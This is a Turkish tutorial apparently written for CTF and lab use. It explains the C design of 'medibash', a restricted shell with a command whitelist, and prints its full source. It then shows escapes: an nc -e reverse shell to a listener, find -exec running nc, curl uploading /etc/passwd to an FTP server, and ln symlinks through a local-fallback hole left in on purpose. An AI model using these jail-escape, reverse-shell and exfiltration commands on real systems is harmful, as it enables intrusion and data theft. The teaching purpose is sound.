medibash: C ile Basit ve Kontrollü Bir Restricted Shell Tasarımı

___ ___ _ _ _ _ _/ __\_/__ \_ | (_) | | | / | | \ _ __ ___ ___ __| |_| |__ __ _ ___| |__ \ | >_ | / | '_ ` _ \ / _ \/ _` | | '_ \ / _` / __| '_ \ / |_______| \ | | | | | | __/ (_| | | |_) | (_| \__ \ | | | \_ _ _/ |_| |_| |_|\___|\__,_|_|_.__/ \__,_|___/_| |_| \___/ \___/ medibash :: restricted shell environment

Konular:

    • Genel Mimari Yaklaşım
    • Sabitler ve Makro Tanımları
    • Sinyal Yönetimi
    • Ortam Değişkenlerinin Temizlenmesi
    • Prompt (Komut Satırı) Üretimi
    • Kullanılan Sistem Fonksiyonları
    • Komut Ayrıştırma
    • Komut Çalıştırma Mantığı
    • Whitelist Yaklaşımı
    • Local Fallback Mekanizması
    • Güvenlik Perspektifi
    • medibash Zafiyetleri ve Sömürülmesi (Bypass/Exploitation)
    • Sonuç
    • medibash Kaynak Kodu

Merhabalar. Modern Unix benzeri sistemlerde kabuklar, kullanıcı ile işletim sistemi arasındaki en güçlü arayüzlerden biridir. Konumuzda, C dili kullanılarak geliştirilen ve bilinçli olarak sınırlandırılmış bir kabuk olan medibash üzerinden, kısıtlı bir shell tasarımının temel prensiplerini ele alacağız. Kısıtlanmış bir yapıda olmasına rağmen bazı komut ve uygulamaların nasıl zafiyetlere yol açabileceğini inceleyeceğiz.

medibash::

medibash adlı kısıtlı kabuğumuzun (minimal restricted shell) C dili ile nasıl tasarlandığını, hangi bileşenlerden oluştuğunu ve kullanılan temel sistem çağrılarının neden tercih edildiğini açıklayacağız. Amacımız; öğretici, anlaşılır ve pratik bir teknik referans sunmak, araştırma konusu sağlamak, sistem çağrılarını basitçe ele almak ve Capture The Flag yarışmalarında kullanılmak üzere kabuk oluşturmaktır.

Bu çalışma bir güvenlik sınırı (security boundary) iddiası taşımamaktadır. Tasarım; eğitim, laboratuvar ve CTF senaryoları için bilinçli olarak sade tutulmuştur. Güvenlik zafiyeti örnekleriyle de eğlenceli bir hale getirilmiştir.

Genel Mimari Yaklaşım

medibash’in mimarisi bilinçli olarak basit ve şeffaf olacak şekilde kurgulanmıştır. Karmaşıklıktan kaçınılmış, POSIX süreç modeline doğrudan temas eden bir yapı tercih edilmiştir.

Shell’in temel çalışma akışı şu adımlardan oluşmaktadır:

- Kullanıcıdan satır bazlı komut okunur
- Komut argümanlarına ayrıştırılır
- Önceden tanımlı whitelist ile karşılaştırılır
- Listede yer alan komutlar seçildiğinde işletim sistemi üzerinden mevcut kullanıcı yetkisiyle çağrı yapılır.

Bu yaklaşım, klasik PATH çözümlemesini tamamen devre dışı bırakır ve beklenmeyen komut yürütmelerini önler.

Sabitler ve Makro Tanımları

Shell içerisinde kullanılan sabitler kodun davranışını kontrol altına almak amacıyla tanımlanmıştır.

/* Shell ayarlari */
#define SHELL_INPUT_SIZE 256
#define MAX_ARGS 32

/* ANSI renkleri */
#define RED     "\033[1;31m"
#define GREEN   "\033[1;32m"
#define BLUE    "\033[1;34m"
#define RESET   "\033[0m"

/* Ekran temizleme */ 
#define CLEAR_SCREEN "\033[2J\033[H"}

SHELL_INPUT_SIZE, kullanıcıdan okunacak maksimum komut uzunluğunu sınırlar.
MAX_ARGS ise bir komutta kabul edilecek maksimum argüman sayısını belirler.

Bu tasarım sayesinde:

- Dinamik bellek kullanımına gerek kalmaz
- Buffer overflow riski azaltılır
- Kod okunabilirliği ve sürdürülebilirliği artar

CLEAR_SCREEN tanımı, iki ayrı ANSI kontrol dizisinin birleşimidir:

\033[2J Terminal ekranını temizler

\033[H Cursor’u sol üst köşeye taşır

RED, GREEN, BLUE ve RESET tanımları ise medibash için görsel dizaynı için eklenmiştir.

Sinyal Yönetimi

medibash, kullanıcı tarafından gönderilen bazı sinyalleri bilinçli olarak yok sayar.

signal(SIGINT, ignore_signal);
signal(SIGQUIT, ignore_signal);

SIGINT (Ctrl+C) ve SIGQUIT (Ctrl+\\) sinyallerinin engellenmesinin temel nedenleri şunlardır:

- Shell’in istemsiz şekilde sonlandırılmasını önlemek
- CTF senaryolarında kaçış yüzeyini azaltmak
- Kullanıcı deneyimini daha deterministik hale getirmek

Bu davranış, boş bir sinyal handler fonksiyonu aracılığıyla sağlanır. Sinyal alındığında süreç herhangi bir işlem yapmaz.

Ortam Değişkenlerinin Temizlenmesi

Shell başlatılırken clearenv() çağrısı ile tüm environment değişkenleri silinir.

clearenv();

Bu tercih şu güvenlik ve kontrol hedeflerine hizmet eder:

- PATH manipülasyonlarının önüne geçmek
- LD_PRELOAD gibi dinamik bağlama temelli saldırıları engellemek
- Çalışma ortamını tamamen deterministik hale getirmek

Prompt (Komut Satırı) Üretimi

medibash, bash benzeri bir kullanıcı deneyimi sunmak amacıyla renkli bir prompt üretir:

void print_prompt(void) {
    char cwd[PATH_MAX];
    char host[64];
    char display_path[PATH_MAX];
    const char *user;

    gethostname(host, sizeof(host));
    getcwd(cwd, sizeof(cwd));

    struct passwd *pw = getpwuid(getuid());
    user = pw ? pw->pw_name : "unknown";

    const char *home = getenv("HOME");
    if (home && strncmp(cwd, home, strlen(home)) == 0) {
        snprintf(display_path, sizeof(display_path),
                 "~%s", cwd + strlen(home));
    } else {
        snprintf(display_path, sizeof(display_path), "%s", cwd);
    }

    printf(
        RED "medibash::" RESET
        GREEN "%s@%s" RESET
        ":" BLUE "%s" RESET "$ ",
        user, host, display_path
    );

    fflush(stdout);
}

medibash::mediuser@akkus:/home/mediuser

Kullanılan Sistem Fonksiyonları

getpwuid(getuid()): Aktif kullanıcının kullanıcı adını elde etmek için kullanılır.
gethostname(): Sistem adını almak için kullanılır.
getcwd(): Mevcut çalışma dizinini öğrenmek için kullanılır.
getenv("HOME"): Ev dizinini tespit edip yolu ~ ile kısaltmak için kullanılır.

Bu fonksiyonlar, kullanıcıya bağlam hissi veren ve alışıldık bir kabuk deneyimi sağlayan bir arayüz oluşturur.

Komut Ayrıştırma

Kullanıcının girdiği komutlar basit bir ayrıştırma mantığı ile argümanlarına bölünür.

Bu işlem sırasında strtok() fonksiyonu kullanılır. Boşluk karakteri ayırıcı olarak kabul edilir.

Bu yaklaşım bilinçli olarak sınırlıdır:

- Tırnak işleme yoktur
- Escape karakterleri desteklenmez
- Karmaşık shell genişletmeleri bulunmaz

Bu sadelik, shell davranışının öngörülebilir olmasını sağlar ve parsing kaynaklı kaçış ihtimallerini azaltır.

Komut Çalıştırma Mantığı

Komutların yürütülmesi klasik POSIX süreç modeli üzerinden gerçekleştirilir.

void run_command(const char *path, char *argv[]) {
    pid_t pid = fork();
    if (pid == 0) {
        execve(path, argv, NULL);
        _exit(1);
    } else if (pid > 0) {
        waitpid(pid, NULL, 0);
    }
}

fork() ile yeni bir süreç oluşturulur, ardından execve() çağrısı ile hedef binary çalıştırılır. Ebeveyn süreç ise waitpid() ile çocuğun tamamlanmasını bekler.

execve() tercih edilmesinin nedeni:

- system() gibi shell arka planı kullanan fonksiyonlardan kaçınmak
- execvp() ile yapılan PATH çözümlemesini engellemek
- Ortam değişkenlerini NULL geçirerek çevresel etkiyi sıfırlamak

Whitelist Yaklaşımı

medibash, yalnızca önceden izin verilmiş komutların çalıştırılmasına olanak tanır.

    while (1) {
        print_prompt();

        if (!fgets(input, sizeof(input), stdin)) {
            clearerr(stdin);
            continue;
        }

        input[strcspn(input, "\n")] = 0;

        if (strcmp(input, "help") == 0 || strcmp(input, "?") == 0) {
            print_help();
            continue;
        }

        char input_copy[SHELL_INPUT_SIZE];
        strncpy(input_copy, input, sizeof(input_copy));
        input_copy[sizeof(input_copy) - 1] = '\0';

        int argc = parse_args(input_copy, argv);
        if (argc == 0)
            continue;

        /* === WHITELIST === */
        if (strcmp(argv[0], "clear") == 0)
            handle_clear();
        else if (strcmp(argv[0], "whoami") == 0)
            run_command("/usr/bin/whoami", argv);            
        else if (strcmp(argv[0], "id") == 0)
            run_command("/usr/bin/id", argv);
        else if (strcmp(argv[0], "pwd") == 0)
            run_command("/bin/pwd", argv);
        else if (strcmp(argv[0], "ls") == 0)
            run_command("/bin/ls", argv);
        else if (strcmp(argv[0], "stat") == 0)
            run_command("/bin/stat", argv);
        else if (strcmp(argv[0], "chmod") == 0)
            run_command("/bin/chmod", argv);
        else if (strcmp(argv[0], "ln") == 0)
            run_command("/bin/ln", argv);
        else if (strcmp(argv[0], "ps") == 0)
            run_command("/bin/ps", argv);
        else if (strcmp(argv[0], "df") == 0)
            run_command("/bin/df", argv);
        else if (strcmp(argv[0], "free") == 0)
            run_command("/usr/bin/free", argv);
        else if (strcmp(argv[0], "uptime") == 0)
            run_command("/usr/bin/uptime", argv);
        else if (strcmp(argv[0], "date") == 0)
            run_command("/bin/date", argv);
        else if (strcmp(argv[0], "uname") == 0)
            run_command("/bin/uname", argv);
        else if (strcmp(argv[0], "ifconfig") == 0)
            run_command("/sbin/ifconfig", argv);
        else if (strcmp(argv[0], "find") == 0)
            run_command("/usr/bin/find", argv);
        else if (strcmp(argv[0], "nc") == 0)
            run_command("/bin/nc", argv);
        else if (strcmp(argv[0], "curl") == 0)
            run_command("/usr/bin/curl", argv);

        /* === LOCAL FALLBACK === */
        else {
        }

Her komut, string karşılaştırması ile eşleştirilir ve ilgili binary mutlak yol üzerinden çağrılır.

Bu yaklaşımın avantajları:

- Hangi programın çalışacağı nettir
- Alias veya PATH hijack mümkün değildir
- Kod okunabilirliği yüksektir

Local Fallback Mekanizması

Whitelist dışındaki komutlar için yalnızca mevcut dizinde bulunan ve çalıştırılabilir olan dosyalara izin verilir.

Bu mekanizma zafiyet oluşturması için yerleştirilmiştir.

 
        /* === LOCAL FALLBACK === */
        else {
            char local_path[PATH_MAX];
            snprintf(local_path, sizeof(local_path), "./%s", argv[0]);

            if (access(local_path, X_OK) == 0)
                run_command(local_path, argv);
            else
                printf("Yetkisiz komut. 'help' yaziniz.\n");
        }

Bu mekanizma özellikle eğitim ve CTF senaryolarında özel olarak bırakılmıştır.

Güvenlik Perspektifi

medibash, gerçek dünyada tam güvenlik sağlayan bir çözüm değildir.

Gerçek üretim ortamları için aşağıdaki tekniklerin değerlendirilmesi gerekir:

- seccomp filtreleri
- chroot veya container izolasyonu
- Sistem çağrısı seviyesinde denetimler


medibash Zafiyetleri ve Sömürülmesi (Bypass/Exploitation)

medibash için "mediuser" adlı bir kullanıcı oluşturulmuştur ve passwd dosyası üzerinden bu kullanıcıya geçiş yapıldığında /bin/sh veya /bin/bash yerine /home/mediuser/bins/medibash için yani medibash in kendisine yönlendirme yapılmıştır.

mediuser adlı kullanıcıya(mevcut sunucuya Örn. 127.0.0.1) SSH aracılığıyla bağlanıldığında yukarıda belirtilen kural sebebiyle mediuser doğrudan medibash üzerinden bağlantı sağlamaktadır.

medibash içerisinde eklediğimiz kontroller sebebiyle kullanıcı jail mantığı ile buradan çıkamamakta ve medibash içerisinde izin verilen komutlar haricinde yürütme yapamamaktadır.

Saldırgan gözüyle medibash incelendiğinde bazı komutların/uygulamaların jail içerisinden kaçmak için kullanılabileceği tespti edilmektedir.

Netcat ile medibash Bypass

medibash içerisinde tanımlı olan "nc" komutu doğrudan NetCat çalıştırmaktadır. Netcat (nc), TCP ve UDP üzerinden veri okumak ve yazmak için kullanılan, son derece basit ama çok güçlü bir ağ aracıdır.

opitons: içerisinde bazı tehlikeli parametreler ve kullanımları belirtilmektedir. Saldırgan aşağıdaki parametreleri kullanabilir.

options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!]

Kısacası belirtilen portu "nc -nvlp [Saldırganın Dinlediği Port]" ile dinlemeye alan saldırgan,

"nc -e [Yönlendirilecek Binary] [Saldırgan IP Adresi] [Saldırgan Port Değeri]" komutunu da medibash içerisinde kullanarak dilediği çalıştırılabilir uygulama ve komutu network üzerinden kendisine yönlendirebilir.

nc -e /bin/sh 127.0.0.1 4441

"Yukarıdaki" komut iletildiğinde saldırgan medibash çalışan sunucudan Reverse Shell(Kabuk) elde ederek medibash den kurtulmuş olur.

Find ile medibash Bypass

medibash içerisinde tanımlı diğer komutlardan birisi ise "find" komutudur. Find, Unix/Linux sistemlerinde dosya ve dizinleri belirli kriterlere göre aramak ve işlem yapmak için kullanılan güçlü bir komuttur. Saldırganlar find komutunun "-exec" parametresinin nelere yol açabildiğini fark edebilir.

actions: içerisinde sömürülmeye uygun parametreler görülebilir.

Saldırgan "find . -exec [Kullanılacak komut/uygulama] {} +" şeklinde bir komut ile dilediği komutu sistemde yürütebilir.

Reverse Shell elde etmek bir çok uygulama ve komut ile mümkündür. Bu python,perl,ruby,php ve diğer yazılım dilleri ile mümkünken doğrudan bash için tcp yönlendirmesi de yapılabilir.

Fakat örneğimiz medibash içerisinde "Netcat" olmadığını fakat sunucuda mevcut olduğunu düşündüğümüzde ise aşağıdaki gibi bir komut yine saldırganların uzak kabuk elde etmesini sağlayacaktır.

find . -exec /usr/bin/nc -e /bin/sh 127.0.0.1 4441 {} +

Curl ile medibash Lokal Dosya Okuma/Yazma

Yine kullanılmasına izin verilen uygulamalardan birinin "Curl" olduğu görülmektedir. curl, çeşitli ağ protokolleri üzerinden veri transferi yapmak için kullanılan bir komut satırı aracıdır.

medibash içerisinde "cat", "echo", "mv" veya dosya editörleri olan "vi", "nano" gibi komutlara izin verilmez. Dolayısıyla dosya okuma ve yazmak için saldırganlar çözüm yolu arayabilir.

Saldırgan sunucudaki dosyaları kendisine göndermek ve okumak, medibash sunucusuna da dosya iletmek için curl komutundan yararlanabilir. Saldırganın bu işlemler için FTP veya HTTP sunucusu ayağa kalmış olduğunu varsayalım.

Aşağıdaki gibi komutla "passwd" dosyasını kendisine gönderebilir ve kendi sunucusunda okuyabilir.

curl -T /etc/passwd ftp://myuser:mypass@127.0.0.1:2121

Başarıyla transfer edilen passwd dosyası saldırgan tarafından okunabilir.

Aynı mantıkla saldırgan medibash sunucusuna mediuser yetkisi dahilinde olan dizinlere dosya iletebilir.

Local Fallback aracılığıyla Restriction Atlatma

medibash içerisinde yine sürpriz olarak eklenen bir "Local Fallback" mekanizması mevcuttur. Aslında burada bir zafiyet olduğu kaynak kod incelendiğinde tespit edilebilir. Fakat medibash kaynak kodunu göremeyen bir saldırgan buradaki zafiyeti nasıl tespit edebilir buna göz atalım.

Local Fallback mekanizması medibash dizininde yer alan bir dosyayı ismiyle çalıştırmak için bulunmaktadır. Örneğin medibash ile aynı dizinde "test" adında bir binary dosyası olsaydı, medibash içerisinde test komutunu gönderdiğimizde buna kızmayacak ve "test" binary çalıştırılacaktır.

medibash "bins" klasörü içerisinde çalışmaktadır. Saldırgan medibash içerisinden tekrar medibash çağırmayı denediğinde "help" ile gelen komut listesinde "medibash" olmadığını fakat medibash yazdığında tekrar çalıştığını fark edebilir. "ps" komutu da zaten serbestti. Kontrolünü de sağlayabilir.

Aslında bu bir child/çocuk process. Tıpkı SSH bağlantımızın(sshd service) medibash için mother/anne olması gibi.

"curl", "nc" ve "find" komutuna izin verilmediği varsayılırsa, saldırgan aklına ilk gelecek komut "ln" olacaktır. ln, Unix/Linux sistemlerinde dosyalar arasında bağlantı (link) oluşturmak için kullanılan bir komuttur.

Yani saldırgan izin verilmeyen "cat(/bin/cat)" komutunu "ln" komutu bile medibash in olduğu dizine sembolik link olarak oluşturursa "cat" komutunu veya dilediği herhangi bir komutu medibash de aktif etmiş olur.

medibash içerisinde Aşağıdaki komut kullanılabilir.

ln -s /bin/cat /home/mediuser/bins/cat

Yukarıda gördülüğü gibi restriction bypass başarı oldu ve saldırganlar artık istediği komutu medibash için aktif edebilir. Hatta aşağıdaki gibi bir komutla doğrudan bash e atlanabilmesi mümkündür.

ln -s /bin/bash /home/mediuser/bins/bash

Bu şekilde saldırgan medibash den tamamen kurtulmuş olur. Sonuç Sonuç olarak


Sonuç

medibash, kısıtlı ama anlaşılır bir shell tasarımını örnekleyen öğretici bir projedir.

C ile sistem programlama öğrenenler, CTF hazırlayanlar ve POSIX süreç modelini anlamak isteyenler için güçlü bir başlangıç noktası sunar.

Aşağıda yer alan komutların sömürülmesi mümkündür.

medibash::mediuser@akkus:/home/mediuser$ help
Sömürülebilir komutlar:
  ln
  find
  nc
  curl
medibash::mediuser@akkus:/home/mediuser$

medibash gibi bir kısıtlanmış kabuk oluşturulmak istendiğinde saldırgan gözünden incelemek ve test etmek oldukça önemlidir.

medibash Kaynak Kodu

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys wait.h="">
#include <signal.h>
#include <stdlib.h>
#include <pwd.h>
#include <limits.h>

/* Shell ayarlari */
#define SHELL_INPUT_SIZE 256
#define MAX_ARGS 32

/* ANSI renkleri */
#define RED     "\033[1;31m"
#define GREEN   "\033[1;32m"
#define BLUE    "\033[1;34m"
#define RESET   "\033[0m"

/* Ekran temizleme */ 
#define CLEAR_SCREEN "\033[2J\033[H"

void print_banner(void) {
    printf(
        "\033[1;34m"
        "   ___   ___                        _ _ _               _     \n"
        " _/ __\\_/__ \\_                     | (_) |             | |    \n"
        "/  |       |  \\  _ __ ___   ___  __| |_| |__   __ _ ___| |__  \n"
        "\\  |  >_   |  / | '_ ` _ \\ / _ \\/ _` | | '_ \\ / _` / __| '_ \\ \n"
        "/  |_______|  \\ | | | | | |  __/ (_| | | |_) | (_| \\__ \\ | | |\n"
        "\\_     _     _/ |_| |_| |_|\\___|\\__,_|_|_.__/ \\__,_|___/_| |_|\n"
        "  \\___/ \\___/                                                 \n"
        "\n"
        "        medibash :: restricted shell environment\n"
        "                   by AkkuS                    \n"
        "\033[0m"
    );
}

void handle_clear(void) {
    printf(CLEAR_SCREEN);
    print_banner();
    fflush(stdout);
}

void ignore_signal(int sig) {
    (void)sig;
}

/* Yardim mesaji */
void print_help(void) {
    printf("Kullanilabilir komutlar:\n");
    printf("  whoami\n");
    printf("  id\n");
    printf("  pwd\n");
    printf("  ls\n");
    printf("  stat\n");
    printf("  chmod\n");
    printf("  ln\n");
    printf("  ps\n");
    printf("  df\n");
    printf("  free\n");
    printf("  uptime\n");
    printf("  date\n");
    printf("  uname\n");
    printf("  ifconfig\n");
    printf("  find\n");
    printf("  nc\n");
    printf("  curl\n");
    printf("  clear\n");
    printf("  help, ?\n");
}

/* Basit arguman ayirici */
int parse_args(char *input, char *argv[]) {
    int argc = 0;
    char *token = strtok(input, " ");

    while (token && argc < MAX_ARGS - 1) {
        argv[argc++] = token;
        token = strtok(NULL, " ");
    }
    argv[argc] = NULL;
    return argc;
}

/* Komut calistir */
void run_command(const char *path, char *argv[]) {
    pid_t pid = fork();
    if (pid == 0) {
        execve(path, argv, NULL);
        _exit(1);
    } else if (pid > 0) {
        waitpid(pid, NULL, 0);
    }
}

/* Renkli bash-benzeri prompt */
void print_prompt(void) {
    char cwd[PATH_MAX];
    char host[64];
    char display_path[PATH_MAX];
    const char *user;

    gethostname(host, sizeof(host));
    getcwd(cwd, sizeof(cwd));

    struct passwd *pw = getpwuid(getuid());
    user = pw ? pw->pw_name : "unknown";

    const char *home = getenv("HOME");
    if (home && strncmp(cwd, home, strlen(home)) == 0) {
        snprintf(display_path, sizeof(display_path),
                 "~%s", cwd + strlen(home));
    } else {
        snprintf(display_path, sizeof(display_path), "%s", cwd);
    }

    printf(
        RED "medibash::" RESET
        GREEN "%s@%s" RESET
        ":" BLUE "%s" RESET "$ ",
        user, host, display_path
    );

    fflush(stdout);
}

int main(void) {
    char input[SHELL_INPUT_SIZE];
    char *argv[MAX_ARGS];

    clearenv();

    signal(SIGINT, ignore_signal);
    signal(SIGQUIT, ignore_signal);

    printf("\033[2J\033[H");  // ekran temizleme (opsiyonel)
    print_banner();

    while (1) {
        print_prompt();

        if (!fgets(input, sizeof(input), stdin)) {
            clearerr(stdin);
            continue;
        }

        input[strcspn(input, "\n")] = 0;

        if (strcmp(input, "help") == 0 || strcmp(input, "?") == 0) {
            print_help();
            continue;
        }

        char input_copy[SHELL_INPUT_SIZE];
        strncpy(input_copy, input, sizeof(input_copy));
        input_copy[sizeof(input_copy) - 1] = '\0';

        int argc = parse_args(input_copy, argv);
        if (argc == 0)
            continue;

        /* === WHITELIST === */
        if (strcmp(argv[0], "clear") == 0)
            handle_clear();
        else if (strcmp(argv[0], "whoami") == 0)
            run_command("/usr/bin/whoami", argv);            
        else if (strcmp(argv[0], "id") == 0)
            run_command("/usr/bin/id", argv);
        else if (strcmp(argv[0], "pwd") == 0)
            run_command("/bin/pwd", argv);
        else if (strcmp(argv[0], "ls") == 0)
            run_command("/bin/ls", argv);
        else if (strcmp(argv[0], "stat") == 0)
            run_command("/bin/stat", argv);
        else if (strcmp(argv[0], "chmod") == 0)
            run_command("/bin/chmod", argv);
        else if (strcmp(argv[0], "ln") == 0)
            run_command("/bin/ln", argv);
        else if (strcmp(argv[0], "ps") == 0)
            run_command("/bin/ps", argv);
        else if (strcmp(argv[0], "df") == 0)
            run_command("/bin/df", argv);
        else if (strcmp(argv[0], "free") == 0)
            run_command("/usr/bin/free", argv);
        else if (strcmp(argv[0], "uptime") == 0)
            run_command("/usr/bin/uptime", argv);
        else if (strcmp(argv[0], "date") == 0)
            run_command("/bin/date", argv);
        else if (strcmp(argv[0], "uname") == 0)
            run_command("/bin/uname", argv);
        else if (strcmp(argv[0], "ifconfig") == 0)
            run_command("/sbin/ifconfig", argv);
        else if (strcmp(argv[0], "find") == 0)
            run_command("/usr/bin/find", argv);
        else if (strcmp(argv[0], "nc") == 0)
            run_command("/bin/nc", argv);
        else if (strcmp(argv[0], "curl") == 0)
            run_command("/usr/bin/curl", argv);

        /* === LOCAL FALLBACK === */
        else {
            char local_path[PATH_MAX];
            snprintf(local_path, sizeof(local_path), "./%s", argv[0]);

            if (access(local_path, X_OK) == 0)
                run_command(local_path, argv);
            else
                printf("Yetkisiz komut. 'help' yaziniz.\n");
        }
    }

    return 0;
}

  • Download medibash.c
  • Teşekkürler (AkkuS)

    Original text